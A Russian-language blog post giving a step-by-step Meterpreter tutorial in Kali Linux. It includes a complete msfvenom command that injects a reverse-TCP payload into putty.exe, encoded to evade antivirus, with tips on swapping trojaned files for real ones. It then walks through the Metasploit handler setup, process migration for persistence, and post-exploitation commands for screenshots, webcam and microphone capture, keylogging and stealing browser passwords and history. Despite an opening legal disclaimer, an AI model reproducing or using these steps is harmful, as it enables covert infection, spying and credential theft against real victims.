Kali Linux. Возможности Meterpreter. Часть 1.
Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) - незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.
Начнём. Возможно, это Часть 1.
Если вы заглянули сюда - значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:
Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.
Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.
Хакер: Kali Linux 2017.1
Жертва: Windows 10 1703 x64
Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать - без понятия. Я буду применять свой комп, а Кали у меня на ноуте.
Процесс создания заражённого файла:
1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете
2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.
3. Пишем msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o putty3.exe
Поясню, что тут есть:
msfvenom - собсно, создатель троянов/инжектор троянов в .exe
-a x86 - архитектура x86. Для x86 приложений
--platform windows - платформа Windows ¯\_(ツ)_/¯, работает вместе с прошлым атрибутом.
-x putty.exe - файл, который мы заражаем
-k - Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа "встроить нагрузку"
-p windows/meterpreter/reverse_tcp - "полезная нагрузка"
lhost=192.168.0.101 - ip атакующего
-e x86/shikata_ga_nai - шифрование, чтоб антивирусы не палили
-i 5 - количество итераций шифрования. У меня 5.
-b "\x00" - что-то связанное с "плохими символами(bad-chars)"
-f exe - формат файла
-o putty3.exe - выходной файл, который надо отправить жертве
У меня тут 10 итераций(-i 10).
Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса
Скан Virustotal:
35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.
https://www.virustotal.com/#/file/41560e71ef6a7c961b73a77bc9...
Запускаем metasploit framework и ждём.
Нас встретит "msf >"
Команды выглядят так:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (показывает, что можно настроить)
Пишем "set LHOST 192.168.0.101", в моём случае. У вас, ясное дело, ваш ip Kali Linux.
LHOST и LPORT должны быть теми, которые мы указали в msfvenom.
Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.
Заражённая программа внешне ничем не отличается от оригинала:
Обычная программа. Только закрывается через несколько секунд.
На ноуте в это время пишем exploit и видим это:
Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо - всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.
"meterpreter > " означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть "заражённый процесс в другой процесс". Чтобы путти мог закрыться и не закрыл вместе с собой сессию.
Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe
PID у него 3044. 2800 это PPID и он нам не нужен.
пишем "migrate 3044" и готово.
5412 - прошлый PID. Если закрыть putty - закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.
Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.
Возможности meterpreter.
Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.
1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.
2. sysinfo. и так понятно, что даёт
3. getsystem - должно дать права админа, но на Win10 не работает
4. getuid - узнать имя компа
5. screenshot - делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет - написано. Скриншот в скриншоте.
6. Команды для вебкамеры:
webcam_chat - o_O
webcam_list - список вебкамер у жертвы
webcam_snap - делает снимок на камеру
webcam_stream - вебка в прямом эфире
Не смогу показать, нет вебкамеры и вряд-ли теперь будет.
7. record_mic - записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.
8. Кейлоггер:
keyscan_start - включает кейлоггер
keyscan_dump - показывает, что напечатали
keyscan_stop - выключает кейлоггер
Ловит только английские буквы
ololoo, test keylogger
9. uictl [enable/disable] [keyboard/mouse/all] - должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.
Неинтересное закончилось, пора переходить к интересному:
Команды вида "run *что-то*". Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой "тру обзор", но это не точно.
Чтобы посмотреть все доступные команды - пишем "run " и жмём Таб два раза. Нас спросят "хотите ли вы вывести всё на экран?" а там 200+ позиций. Жмём "y", потом пробел несколько раз, отмотав до конца и видим примерно это:
Всё я показывать не буду, там очень много. Пост не резиновый.
Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.
1. run post/windows/manage/enable_rdp - должно включать rdp, но "insufficient privileges", потому что getsystem не работает. Вероятно, в других Виндах заработает.
2. run post/windows/gather/enum_chrome и /enum_firefox - уносит данные из этих браузеров. В т.ч. и пароли. На этапе "Preferences" задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.
Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать "All files".
Файлы Preference и Decrypted открываются в текстовом редакторе.
Про дубликаты: там есть "run enum_chrome", но MSF пожалуется, что он недоступен в этой версии и скажет "юзайте run post/windows/gather/enum_chrome". Если что-то не работает - читайте, что предлагает MSF.
Что же можно там узнать?
2.1. Автозаполнение
2.2. Историю скачивания файлов
2.3. Историю ссылок скачивания файлов
2.4. Гуглопоиск, видимо
2.5. Историю посещения сайтов
2.6. Логины
2.7. Логины/пароли/сайты, куда подходят логины и пароли
2.8. Закладки
2.9. Телефоны в автозаполнении(если повезёт)
2.10. Адреса в автозаполнении(если повезёт)
На этом пока всё, надо сделать базу к следующему посту и проверить ещё больше вещей в том списке. Вторая часть будет завтра, скорее всего. Но это не точно.